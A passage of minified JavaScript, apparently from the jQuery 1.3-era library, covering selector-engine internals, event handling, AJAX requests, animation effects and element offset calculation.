T=document.documentElement;T.insertBefore(U,T.firstChild);if(!!document.getElementById(V)){I.find.ID=function(X,Y,Z){if(typeof Y.getElementById!=="undefined"&&!Z){var W=Y.getElementById(X[1]);return W?W.id===X[1]||typeof W.getAttributeNode!=="undefined"&&W.getAttributeNode("id").nodeValue===X[1]?[W]:g:[]}};I.filter.ID=function(Y,W){var X=typeof Y.getAttributeNode!=="undefined"&&Y.getAttributeNode("id");return Y.nodeType===1&&X&&X.nodeValue===W}}T.removeChild(U)})();(function(){var T=document.createElement("div");T.appendChild(document.createComment(""));if(T.getElementsByTagName("*").length>0){I.find.TAG=function(U,Y){var X=Y.getElementsByTagName(U[1]);if(U[1]==="*"){var W=[];for(var V=0;X[V];V++){if(X[V].nodeType===1){W.push(X[V])}}X=W}return X}}T.innerHTML="<a href='#'></a>";if(T.firstChild&&typeof T.firstChild.getAttribute!=="undefined"&&T.firstChild.getAttribute("href")!=="#"){I.attrHandle.href=function(U){return U.getAttribute("href",2)}}})();if(document.querySelectorAll){(function(){var T=F,U=document.createElement("div");U.innerHTML="<p class='TEST'></p>";if(U.querySelectorAll&&U.querySelectorAll(".TEST").length===0){return}F=function(Y,X,V,W){X=X||document;if(!W&&X.nodeType===9&&!Q(X)){try{return E(X.querySelectorAll(Y),V)}catch(Z){}}return T(Y,X,V,W)};F.find=T.find;F.filter=T.filter;F.selectors=T.selectors;F.matches=T.matches})()}if(document.getElementsByClassName&&document.documentElement.getElementsByClassName){(function(){var T=document.createElement("div");T.innerHTML="<div class='test e'></div><div class='test'></div>";if(T.getElementsByClassName("e").length===0){return}T.lastChild.className="e";if(T.getElementsByClassName("e").length===1){return}I.order.splice(1,0,"CLASS");I.find.CLASS=function(U,V,W){if(typeof V.getElementsByClassName!=="undefined"&&!W){return V.getElementsByClassName(U[1])}}})()}function P(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W<V;W++){var T=ad[W];if(T){if(ab&&T.nodeType===1){T.sizcache=Y;T.sizset=W}T=T[U];var X=false;while(T){if(T.sizcache===Y){X=ad[T.sizset];break}if(T.nodeType===1&&!ac){T.sizcache=Y;T.sizset=W}if(T.nodeName===Z){X=T;break}T=T[U]}ad[W]=X}}}function S(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W<V;W++){var T=ad[W];if(T){if(ab&&T.nodeType===1){T.sizcache=Y;T.sizset=W}T=T[U];var X=false;while(T){if(T.sizcache===Y){X=ad[T.sizset];break}if(T.nodeType===1){if(!ac){T.sizcache=Y;T.sizset=W}if(typeof Z!=="string"){if(T===Z){X=true;break}}else{if(F.filter(Z,[T]).length>0){X=T;break}}}T=T[U]}ad[W]=X}}}var K=document.compareDocumentPosition?function(U,T){return U.compareDocumentPosition(T)&16}:function(U,T){return U!==T&&(U.contains?U.contains(T):true)};var Q=function(T){return T.nodeType===9&&T.documentElement.nodeName!=="HTML"||!!T.ownerDocument&&Q(T.ownerDocument)};var J=function(T,aa){var W=[],X="",Y,V=aa.nodeType?[aa]:aa;while((Y=I.match.PSEUDO.exec(T))){X+=Y[0];T=T.replace(I.match.PSEUDO,"")}T=I.relative[T]?T+"*":T;for(var Z=0,U=V.length;Z<U;Z++){F(T,V[Z],W)}return F.filter(X,W)};o.find=F;o.filter=F.filter;o.expr=F.selectors;o.expr[":"]=o.expr.filters;F.selectors.filters.hidden=function(T){return T.offsetWidth===0||T.offsetHeight===0};F.selectors.filters.visible=function(T){return T.offsetWidth>0||T.offsetHeight>0};F.selectors.filters.animated=function(T){return o.grep(o.timers,function(U){return T===U.elem}).length};o.multiFilter=function(V,T,U){if(U){V=":not("+V+")"}return F.matches(V,T)};o.dir=function(V,U){var T=[],W=V[U];while(W&&W!=document){if(W.nodeType==1){T.push(W)}W=W[U]}return T};o.nth=function(X,T,V,W){T=T||1;var U=0;for(;X;X=X[V]){if(X.nodeType==1&&++U==T){break}}return X};o.sibling=function(V,U){var T=[];for(;V;V=V.nextSibling){if(V.nodeType==1&&V!=U){T.push(V)}}return T};return;l.Sizzle=F})();o.event={add:function(I,F,H,K){if(I.nodeType==3||I.nodeType==8){return}if(I.setInterval&&I!=l){I=l}if(!H.guid){H.guid=this.guid++}if(K!==g){var G=H;H=this.proxy(G);H.data=K}var E=o.data(I,"events")||o.data(I,"events",{}),J=o.data(I,"handle")||o.data(I,"handle",function(){return typeof o!=="undefined"&&!o.event.triggered?o.event.handle.apply(arguments.callee.elem,arguments):g});J.elem=I;o.each(F.split(/\s+/),function(M,N){var O=N.split(".");N=O.shift();H.type=O.slice().sort().join(".");var L=E[N];if(o.event.specialAll[N]){o.event.specialAll[N].setup.call(I,K,O)}if(!L){L=E[N]={};if(!o.event.special[N]||o.event.special[N].setup.call(I,K,O)===false){if(I.addEventListener){I.addEventListener(N,J,false)}else{if(I.attachEvent){I.attachEvent("on"+N,J)}}}}L[H.guid]=H;o.event.global[N]=true});I=null},guid:1,global:{},remove:function(K,H,J){if(K.nodeType==3||K.nodeType==8){return}var G=o.data(K,"events"),F,E;if(G){if(H===g||(typeof H==="string"&&H.charAt(0)==".")){for(var I in G){this.remove(K,I+(H||""))}}else{if(H.type){J=H.handler;H=H.type}o.each(H.split(/\s+/),function(M,O){var Q=O.split(".");O=Q.shift();var N=RegExp("(^|\\.)"+Q.slice().sort().join(".*\\.")+"(\\.|$)");if(G[O]){if(J){delete G[O][J.guid]}else{for(var P in G[O]){if(N.test(G[O][P].type)){delete G[O][P]}}}if(o.event.specialAll[O]){o.event.specialAll[O].teardown.call(K,Q)}for(F in G[O]){break}if(!F){if(!o.event.special[O]||o.event.special[O].teardown.call(K,Q)===false){if(K.removeEventListener){K.removeEventListener(O,o.data(K,"handle"),false)}else{if(K.detachEvent){K.detachEvent("on"+O,o.data(K,"handle"))}}}F=null;delete G[O]}}})}for(F in G){break}if(!F){var L=o.data(K,"handle");if(L){L.elem=null}o.removeData(K,"events");o.removeData(K,"handle")}}},trigger:function(I,K,H,E){var G=I.type||I;if(!E){I=typeof I==="object"?I[h]?I:o.extend(o.Event(G),I):o.Event(G);if(G.indexOf("!")>=0){I.type=G=G.slice(0,-1);I.exclusive=true}if(!H){I.stopPropagation();if(this.global[G]){o.each(o.cache,function(){if(this.events&&this.events[G]){o.event.trigger(I,K,this.handle.elem)}})}}if(!H||H.nodeType==3||H.nodeType==8){return g}I.result=g;I.target=H;K=o.makeArray(K);K.unshift(I)}I.currentTarget=H;var J=o.data(H,"handle");if(J){J.apply(H,K)}if((!H[G]||(o.nodeName(H,"a")&&G=="click"))&&H["on"+G]&&H["on"+G].apply(H,K)===false){I.result=false}if(!E&&H[G]&&!I.isDefaultPrevented()&&!(o.nodeName(H,"a")&&G=="click")){this.triggered=true;try{H[G]()}catch(L){}}this.triggered=false;if(!I.isPropagationStopped()){var F=H.parentNode||H.ownerDocument;if(F){o.event.trigger(I,K,F,true)}}},handle:function(K){var J,E;K=arguments[0]=o.event.fix(K||l.event);K.currentTarget=this;var L=K.type.split(".");K.type=L.shift();J=!L.length&&!K.exclusive;var I=RegExp("(^|\\.)"+L.slice().sort().join(".*\\.")+"(\\.|$)");E=(o.data(this,"events")||{})[K.type];for(var G in E){var H=E[G];if(J||I.test(H.type)){K.handler=H;K.data=H.data;var F=H.apply(this,arguments);if(F!==g){K.result=F;if(F===false){K.preventDefault();K.stopPropagation()}}if(K.isImmediatePropagationStopped()){break}}}},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),fix:function(H){if(H[h]){return H}var F=H;H=o.Event(F);for(var G=this.props.length,J;G;){J=this.props[--G];H[J]=F[J]}if(!H.target){H.target=H.srcElement||document}if(H.target.nodeType==3){H.target=H.target.parentNode}if(!H.relatedTarget&&H.fromElement){H.relatedTarget=H.fromElement==H.target?H.toElement:H.fromElement}if(H.pageX==null&&H.clientX!=null){var I=document.documentElement,E=document.body;H.pageX=H.clientX+(I&&I.scrollLeft||E&&E.scrollLeft||0)-(I.clientLeft||0);H.pageY=H.clientY+(I&&I.scrollTop||E&&E.scrollTop||0)-(I.clientTop||0)}if(!H.which&&((H.charCode||H.charCode===0)?H.charCode:H.keyCode)){H.which=H.charCode||H.keyCode}if(!H.metaKey&&H.ctrlKey){H.metaKey=H.ctrlKey}if(!H.which&&H.button){H.which=(H.button&1?1:(H.button&2?3:(H.button&4?2:0)))}return H},proxy:function(F,E){E=E||function(){return F.apply(this,arguments)};E.guid=F.guid=F.guid||E.guid||this.guid++;return E},special:{ready:{setup:B,teardown:function(){}}},specialAll:{live:{setup:function(E,F){o.event.add(this,F[0],c)},teardown:function(G){if(G.length){var E=0,F=RegExp("(^|\\.)"+G[0]+"(\\.|$)");o.each((o.data(this,"events").live||{}),function(){if(F.test(this.type)){E++}});if(E<1){o.event.remove(this,G[0],c)}}}}}};o.Event=function(E){if(!this.preventDefault){return new o.Event(E)}if(E&&E.type){this.originalEvent=E;this.type=E.type}else{this.type=E}this.timeStamp=e();this[h]=true};function k(){return false}function u(){return true}o.Event.prototype={preventDefault:function(){this.isDefaultPrevented=u;var E=this.originalEvent;if(!E){return}if(E.preventDefault){E.preventDefault()}E.returnValue=false},stopPropagation:function(){this.isPropagationStopped=u;var E=this.originalEvent;if(!E){return}if(E.stopPropagation){E.stopPropagation()}E.cancelBubble=true},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=u;this.stopPropagation()},isDefaultPrevented:k,isPropagationStopped:k,isImmediatePropagationStopped:k};var a=function(F){var E=F.relatedTarget;while(E&&E!=this){try{E=E.parentNode}catch(G){E=this}}if(E!=this){F.type=F.data;o.event.handle.apply(this,arguments)}};o.each({mouseover:"mouseenter",mouseout:"mouseleave"},function(F,E){o.event.special[E]={setup:function(){o.event.add(this,F,a,E)},teardown:function(){o.event.remove(this,F,a)}}});o.fn.extend({bind:function(F,G,E){return F=="unload"?this.one(F,G,E):this.each(function(){o.event.add(this,F,E||G,E&&G)})},one:function(G,H,F){var E=o.event.proxy(F||H,function(I){o(this).unbind(I,E);return(F||H).apply(this,arguments)});return this.each(function(){o.event.add(this,G,E,F&&H)})},unbind:function(F,E){return this.each(function(){o.event.remove(this,F,E)})},trigger:function(E,F){return this.each(function(){o.event.trigger(E,F,this)})},triggerHandler:function(E,G){if(this[0]){var F=o.Event(E);F.preventDefault();F.stopPropagation();o.event.trigger(F,G,this[0]);return F.result}},toggle:function(G){var E=arguments,F=1;while(F<E.length){o.event.proxy(G,E[F++])}return this.click(o.event.proxy(G,function(H){this.lastToggle=(this.lastToggle||0)%F;H.preventDefault();return E[this.lastToggle++].apply(this,arguments)||false}))},hover:function(E,F){return this.mouseenter(E).mouseleave(F)},ready:function(E){B();if(o.isReady){E.call(document,o)}else{o.readyList.push(E)}return this},live:function(G,F){var E=o.event.proxy(F);E.guid+=this.selector+G;o(document).bind(i(G,this.selector),this.selector,E);return this},die:function(F,E){o(document).unbind(i(F,this.selector),E?{guid:E.guid+this.selector+F}:null);return this}});function c(H){var E=RegExp("(^|\\.)"+H.type+"(\\.|$)"),G=true,F=[];o.each(o.data(this,"events").live||[],function(I,J){if(E.test(J.type)){var K=o(H.target).closest(J.data)[0];if(K){F.push({elem:K,fn:J})}}});F.sort(function(J,I){return o.data(J.elem,"closest")-o.data(I.elem,"closest")});o.each(F,function(){if(this.fn.call(this.elem,H,this.fn.data)===false){return(G=false)}});return G}function i(F,E){return["live",F,E.replace(/\./g,"`").replace(/ /g,"|")].join(".")}o.extend({isReady:false,readyList:[],ready:function(){if(!o.isReady){o.isReady=true;if(o.readyList){o.each(o.readyList,function(){this.call(document,o)});o.readyList=null}o(document).triggerHandler("ready")}}});var x=false;function B(){if(x){return}x=true;if(document.addEventListener){document.addEventListener("DOMContentLoaded",function(){document.removeEventListener("DOMContentLoaded",arguments.callee,false);o.ready()},false)}else{if(document.attachEvent){document.attachEvent("onreadystatechange",function(){if(document.readyState==="complete"){document.detachEvent("onreadystatechange",arguments.callee);o.ready()}});if(document.documentElement.doScroll&&l==l.top){(function(){if(o.isReady){return}try{document.documentElement.doScroll("left")}catch(E){setTimeout(arguments.callee,0);return}o.ready()})()}}}o.event.add(l,"load",o.ready)}o.each(("blur,focus,load,resize,scroll,unload,click,dblclick,mousedown,mouseup,mousemove,mouseover,mouseout,mouseenter,mouseleave,change,select,submit,keydown,keypress,keyup,error").split(","),function(F,E){o.fn[E]=function(G){return G?this.bind(E,G):this.trigger(E)}});o(l).bind("unload",function(){for(var E in o.cache){if(E!=1&&o.cache[E].handle){o.event.remove(o.cache[E].handle.elem)}}});(function(){o.support={};var F=document.documentElement,G=document.createElement("script"),K=document.createElement("div"),J="script"+(new Date).getTime();K.style.display="none";K.innerHTML='   <link/><table></table><a href="/a" style="color:red;float:left;opacity:.5;">a</a><select><option>text</option></select><object><param/></object>';var H=K.getElementsByTagName("*"),E=K.getElementsByTagName("a")[0];if(!H||!H.length||!E){return}o.support={leadingWhitespace:K.firstChild.nodeType==3,tbody:!K.getElementsByTagName("tbody").length,objectAll:!!K.getElementsByTagName("object")[0].getElementsByTagName("*").length,htmlSerialize:!!K.getElementsByTagName("link").length,style:/red/.test(E.getAttribute("style")),hrefNormalized:E.getAttribute("href")==="/a",opacity:E.style.opacity==="0.5",cssFloat:!!E.style.cssFloat,scriptEval:false,noCloneEvent:true,boxModel:null};G.type="text/javascript";try{G.appendChild(document.createTextNode("window."+J+"=1;"))}catch(I){}F.insertBefore(G,F.firstChild);if(l[J]){o.support.scriptEval=true;delete l[J]}F.removeChild(G);if(K.attachEvent&&K.fireEvent){K.attachEvent("onclick",function(){o.support.noCloneEvent=false;K.detachEvent("onclick",arguments.callee)});K.cloneNode(true).fireEvent("onclick")}o(function(){var L=document.createElement("div");L.style.width=L.style.paddingLeft="1px";document.body.appendChild(L);o.boxModel=o.support.boxModel=L.offsetWidth===2;document.body.removeChild(L).style.display="none"})})();var w=o.support.cssFloat?"cssFloat":"styleFloat";o.props={"for":"htmlFor","class":"className","float":w,cssFloat:w,styleFloat:w,readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",tabindex:"tabIndex"};o.fn.extend({_load:o.fn.load,load:function(G,J,K){if(typeof G!=="string"){return this._load(G)}var I=G.indexOf(" ");if(I>=0){var E=G.slice(I,G.length);G=G.slice(0,I)}var H="GET";if(J){if(o.isFunction(J)){K=J;J=null}else{if(typeof J==="object"){J=o.param(J);H="POST"}}}var F=this;o.ajax({url:G,type:H,dataType:"html",data:J,complete:function(M,L){if(L=="success"||L=="notmodified"){F.html(E?o("<div/>").append(M.responseText.replace(/<script(.|\s)*?\/script>/g,"")).find(E):M.responseText)}if(K){F.each(K,[M.responseText,L,M])}}});return this},serialize:function(){return o.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?o.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password|search/i.test(this.type))}).map(function(E,F){var G=o(this).val();return G==null?null:o.isArray(G)?o.map(G,function(I,H){return{name:F.name,value:I}}):{name:F.name,value:G}}).get()}});o.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(E,F){o.fn[F]=function(G){return this.bind(F,G)}});var r=e();o.extend({get:function(E,G,H,F){if(o.isFunction(G)){H=G;G=null}return o.ajax({type:"GET",url:E,data:G,success:H,dataType:F})},getScript:function(E,F){return o.get(E,null,F,"script")},getJSON:function(E,F,G){return o.get(E,F,G,"json")},post:function(E,G,H,F){if(o.isFunction(G)){H=G;G={}}return o.ajax({type:"POST",url:E,data:G,success:H,dataType:F})},ajaxSetup:function(E){o.extend(o.ajaxSettings,E)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:function(){return l.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest()},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},ajax:function(M){M=o.extend(true,M,o.extend(true,{},o.ajaxSettings,M));var W,F=/=\?(&|$)/g,R,V,G=M.type.toUpperCase();if(M.data&&M.processData&&typeof M.data!=="string"){M.data=o.param(M.data)}if(M.dataType=="jsonp"){if(G=="GET"){if(!M.url.match(F)){M.url+=(M.url.match(/\?/)?"&":"?")+(M.jsonp||"callback")+"=?"}}else{if(!M.data||!M.data.match(F)){M.data=(M.data?M.data+"&":"")+(M.jsonp||"callback")+"=?"}}M.dataType="json"}if(M.dataType=="json"&&(M.data&&M.data.match(F)||M.url.match(F))){W="jsonp"+r++;if(M.data){M.data=(M.data+"").replace(F,"="+W+"$1")}M.url=M.url.replace(F,"="+W+"$1");M.dataType="script";l[W]=function(X){V=X;I();L();l[W]=g;try{delete l[W]}catch(Y){}if(H){H.removeChild(T)}}}if(M.dataType=="script"&&M.cache==null){M.cache=false}if(M.cache===false&&G=="GET"){var E=e();var U=M.url.replace(/(\?|&)_=.*?(&|$)/,"$1_="+E+"$2");M.url=U+((U==M.url)?(M.url.match(/\?/)?"&":"?")+"_="+E:"")}if(M.data&&G=="GET"){M.url+=(M.url.match(/\?/)?"&":"?")+M.data;M.data=null}if(M.global&&!o.active++){o.event.trigger("ajaxStart")}var Q=/^(\w+:)?\/\/([^\/?#]+)/.exec(M.url);if(M.dataType=="script"&&G=="GET"&&Q&&(Q[1]&&Q[1]!=location.protocol||Q[2]!=location.host)){var H=document.getElementsByTagName("head")[0];var T=document.createElement("script");T.src=M.url;if(M.scriptCharset){T.charset=M.scriptCharset}if(!W){var O=false;T.onload=T.onreadystatechange=function(){if(!O&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){O=true;I();L();T.onload=T.onreadystatechange=null;H.removeChild(T)}}}H.appendChild(T);return g}var K=false;var J=M.xhr();if(M.username){J.open(G,M.url,M.async,M.username,M.password)}else{J.open(G,M.url,M.async)}try{if(M.data){J.setRequestHeader("Content-Type",M.contentType)}if(M.ifModified){J.setRequestHeader("If-Modified-Since",o.lastModified[M.url]||"Thu, 01 Jan 1970 00:00:00 GMT")}J.setRequestHeader("X-Requested-With","XMLHttpRequest");J.setRequestHeader("Accept",M.dataType&&M.accepts[M.dataType]?M.accepts[M.dataType]+", */*":M.accepts._default)}catch(S){}if(M.beforeSend&&M.beforeSend(J,M)===false){if(M.global&&!--o.active){o.event.trigger("ajaxStop")}J.abort();return false}if(M.global){o.event.trigger("ajaxSend",[J,M])}var N=function(X){if(J.readyState==0){if(P){clearInterval(P);P=null;if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}}else{if(!K&&J&&(J.readyState==4||X=="timeout")){K=true;if(P){clearInterval(P);P=null}R=X=="timeout"?"timeout":!o.httpSuccess(J)?"error":M.ifModified&&o.httpNotModified(J,M.url)?"notmodified":"success";if(R=="success"){try{V=o.httpData(J,M.dataType,M)}catch(Z){R="parsererror"}}if(R=="success"){var Y;try{Y=J.getResponseHeader("Last-Modified")}catch(Z){}if(M.ifModified&&Y){o.lastModified[M.url]=Y}if(!W){I()}}else{o.handleError(M,J,R)}L();if(X){J.abort()}if(M.async){J=null}}}};if(M.async){var P=setInterval(N,13);if(M.timeout>0){setTimeout(function(){if(J&&!K){N("timeout")}},M.timeout)}}try{J.send(M.data)}catch(S){o.handleError(M,J,null,S)}if(!M.async){N()}function I(){if(M.success){M.success(V,R)}if(M.global){o.event.trigger("ajaxSuccess",[J,M])}}function L(){if(M.complete){M.complete(J,R)}if(M.global){o.event.trigger("ajaxComplete",[J,M])}if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}return J},handleError:function(F,H,E,G){if(F.error){F.error(H,E,G)}if(F.global){o.event.trigger("ajaxError",[H,F,G])}},active:0,httpSuccess:function(F){try{return !F.status&&location.protocol=="file:"||(F.status>=200&&F.status<300)||F.status==304||F.status==1223}catch(E){}return false},httpNotModified:function(G,E){try{var H=G.getResponseHeader("Last-Modified");return G.status==304||H==o.lastModified[E]}catch(F){}return false},httpData:function(J,H,G){var F=J.getResponseHeader("content-type"),E=H=="xml"||!H&&F&&F.indexOf("xml")>=0,I=E?J.responseXML:J.responseText;if(E&&I.documentElement.tagName=="parsererror"){throw"parsererror"}if(G&&G.dataFilter){I=G.dataFilter(I,H)}if(typeof I==="string"){if(H=="script"){o.globalEval(I)}if(H=="json"){I=l["eval"]("("+I+")")}}return I},param:function(E){var G=[];function H(I,J){G[G.length]=encodeURIComponent(I)+"="+encodeURIComponent(J)}if(o.isArray(E)||E.jquery){o.each(E,function(){H(this.name,this.value)})}else{for(var F in E){if(o.isArray(E[F])){o.each(E[F],function(){H(F,this)})}else{H(F,o.isFunction(E[F])?E[F]():E[F])}}}return G.join("&").replace(/%20/g,"+")}});var m={},n,d=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];function t(F,E){var G={};o.each(d.concat.apply([],d.slice(0,E)),function(){G[this]=F});return G}o.fn.extend({show:function(J,L){if(J){return this.animate(t("show",3),J,L)}else{for(var H=0,F=this.length;H<F;H++){var E=o.data(this[H],"olddisplay");this[H].style.display=E||"";if(o.css(this[H],"display")==="none"){var G=this[H].tagName,K;if(m[G]){K=m[G]}else{var I=o("<"+G+" />").appendTo("body");K=I.css("display");if(K==="none"){K="block"}I.remove();m[G]=K}o.data(this[H],"olddisplay",K)}}for(var H=0,F=this.length;H<F;H++){this[H].style.display=o.data(this[H],"olddisplay")||""}return this}},hide:function(H,I){if(H){return this.animate(t("hide",3),H,I)}else{for(var G=0,F=this.length;G<F;G++){var E=o.data(this[G],"olddisplay");if(!E&&E!=="none"){o.data(this[G],"olddisplay",o.css(this[G],"display"))}}for(var G=0,F=this.length;G<F;G++){this[G].style.display="none"}return this}},_toggle:o.fn.toggle,toggle:function(G,F){var E=typeof G==="boolean";return o.isFunction(G)&&o.isFunction(F)?this._toggle.apply(this,arguments):G==null||E?this.each(function(){var H=E?G:o(this).is(":hidden");o(this)[H?"show":"hide"]()}):this.animate(t("toggle",3),G,F)},fadeTo:function(E,G,F){return this.animate({opacity:G},E,F)},animate:function(I,F,H,G){var E=o.speed(F,H,G);return this[E.queue===false?"each":"queue"](function(){var K=o.extend({},E),M,L=this.nodeType==1&&o(this).is(":hidden"),J=this;for(M in I){if(I[M]=="hide"&&L||I[M]=="show"&&!L){return K.complete.call(this)}if((M=="height"||M=="width")&&this.style){K.display=o.css(this,"display");K.overflow=this.style.overflow}}if(K.overflow!=null){this.style.overflow="hidden"}K.curAnim=o.extend({},I);o.each(I,function(O,S){var R=new o.fx(J,K,O);if(/toggle|show|hide/.test(S)){R[S=="toggle"?L?"show":"hide":S](I)}else{var Q=S.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),T=R.cur(true)||0;if(Q){var N=parseFloat(Q[2]),P=Q[3]||"px";if(P!="px"){J.style[O]=(N||1)+P;T=((N||1)/R.cur(true))*T;J.style[O]=T+P}if(Q[1]){N=((Q[1]=="-="?-1:1)*N)+T}R.custom(T,N,P)}else{R.custom(T,S,"")}}});return true})},stop:function(F,E){var G=o.timers;if(F){this.queue([])}this.each(function(){for(var H=G.length-1;H>=0;H--){if(G[H].elem==this){if(E){G[H](true)}G.splice(H,1)}}});if(!E){this.dequeue()}return this}});o.each({slideDown:t("show",1),slideUp:t("hide",1),slideToggle:t("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(E,F){o.fn[E]=function(G,H){return this.animate(F,G,H)}});o.extend({speed:function(G,H,F){var E=typeof G==="object"?G:{complete:F||!F&&H||o.isFunction(G)&&G,duration:G,easing:F&&H||H&&!o.isFunction(H)&&H};E.duration=o.fx.off?0:typeof E.duration==="number"?E.duration:o.fx.speeds[E.duration]||o.fx.speeds._default;E.old=E.complete;E.complete=function(){if(E.queue!==false){o(this).dequeue()}if(o.isFunction(E.old)){E.old.call(this)}};return E},easing:{linear:function(G,H,E,F){return E+F*G},swing:function(G,H,E,F){return((-Math.cos(G*Math.PI)/2)+0.5)*F+E}},timers:[],fx:function(F,E,G){this.options=E;this.elem=F;this.prop=G;if(!E.orig){E.orig={}}}});o.fx.prototype={update:function(){if(this.options.step){this.options.step.call(this.elem,this.now,this)}(o.fx.step[this.prop]||o.fx.step._default)(this);if((this.prop=="height"||this.prop=="width")&&this.elem.style){this.elem.style.display="block"}},cur:function(F){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop]}var E=parseFloat(o.css(this.elem,this.prop,F));return E&&E>-10000?E:parseFloat(o.curCSS(this.elem,this.prop))||0},custom:function(I,H,G){this.startTime=e();this.start=I;this.end=H;this.unit=G||this.unit||"px";this.now=this.start;this.pos=this.state=0;var E=this;function F(J){return E.step(J)}F.elem=this.elem;if(F()&&o.timers.push(F)&&!n){n=setInterval(function(){var K=o.timers;for(var J=0;J<K.length;J++){if(!K[J]()){K.splice(J--,1)}}if(!K.length){clearInterval(n);n=g}},13)}},show:function(){this.options.orig[this.prop]=o.attr(this.elem.style,this.prop);this.options.show=true;this.custom(this.prop=="width"||this.prop=="height"?1:0,this.cur());o(this.elem).show()},hide:function(){this.options.orig[this.prop]=o.attr(this.elem.style,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(H){var G=e();if(H||G>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;var E=true;for(var F in this.options.curAnim){if(this.options.curAnim[F]!==true){E=false}}if(E){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(o.css(this.elem,"display")=="none"){this.elem.style.display="block"}}if(this.options.hide){o(this.elem).hide()}if(this.options.hide||this.options.show){for(var I in this.options.curAnim){o.attr(this.elem.style,I,this.options.orig[I])}}this.options.complete.call(this.elem)}return false}else{var J=G-this.startTime;this.state=J/this.options.duration;this.pos=o.easing[this.options.easing||(o.easing.swing?"swing":"linear")](this.state,J,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update()}return true}};o.extend(o.fx,{speeds:{slow:600,fast:200,_default:400},step:{opacity:function(E){o.attr(E.elem.style,"opacity",E.now)},_default:function(E){if(E.elem.style&&E.elem.style[E.prop]!=null){E.elem.style[E.prop]=E.now+E.unit}else{E.elem[E.prop]=E.now}}}});if(document.documentElement.getBoundingClientRect){o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}var G=this[0].getBoundingClientRect(),J=this[0].ownerDocument,F=J.body,E=J.documentElement,L=E.clientTop||F.clientTop||0,K=E.clientLeft||F.clientLeft||0,I=G.top+(self.pageYOffset||o.boxModel&&E.scrollTop||F.scrollTop)-L,H=G.left+(self.pageXOffset||o.boxModel&&E.scrollLeft||F.scrollLeft)-K;return{top:I,left:H}}}else{o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}o.offset.initialized||o.offset.initialize();var J=this[0],G=J.offsetParent,F=J,O=J.ownerDocument,M,H=O.documentElement,K=O.body,L=O.defaultView,E=L.getComputedStyle(J,null),N=J.offsetTop,I=J.offsetLeft;while((J=J.parentNode)&&J!==K&&J!==H){M=L.getComputedStyle(J,null);N-=J.scrollTop,I-=J.scrollLeft;if(J===G){N+=J.offsetTop,I+=J.offsetLeft;if(o.offset.doesNotAddBorder&&!(o.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(J.tagName))){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}F=G,G=J.offsetParent}if(o.offset.subtractsBorderForOverflowNotVisible&&M.overflow!=="visible"){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}E=M}if(E.position==="relative"||E.position==="static"){N+=K.offsetTop,I+=K.offsetLeft}if(E.position==="fixed"){N+=Math.max(H.scrollTop,K.scrollTop),I+=Math.max(H.scrollLeft,K.scrollLeft)}return{top:N,left:I}}}o.offset={initialize:function(){if(this.initialized){return}var L=document.body,F=document.createElement("div"),H,G,N,I,M,E,J=L.style.marginTop,K='<div style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;"><div></div></div><table style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;" cellpadding="0" cellspacing="0"><tr><td></td></tr></table>';M={position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"};for(E in M){F.style[E]=M[E]}F.innerHTML=K;L.insertBefore(F,L.firstChild);H=F.firstChild,G=H.firstChild,I=H.nextSibling.firstChild.firstChild;this.doesNotAddBorder=(G.offsetTop!==5);this.doesAddBorderForTableAndCells=(I.offsetTop===5);H.style.overflow="hidden",H.style.position="relative";this.subtractsBorderForOverflowNotVisible=(G.offsetTop===-5);L.style.marginTop="1px";this.doesNotIncludeMarginInBodyOffset=(L.offsetTop===0);L.style.marginTop=J;L.removeChild(F);this.initialized=true},bodyOffset:function(E){o.offset.initialized||o.offset.initialize();var G=E.offsetTop,F=E.offsetLeft;if(o.offset.doesNotIncludeMarginInBodyOffset){G+=parseInt(o.curCSS(E,"marginTop",true),10)||0,F+=parseInt(o.curCSS(E,"marginLeft",true),10)||0}return{top:G,left:F}}};o.fn.extend({position:function(){var I=0,H=0,F;if(this[0]){var 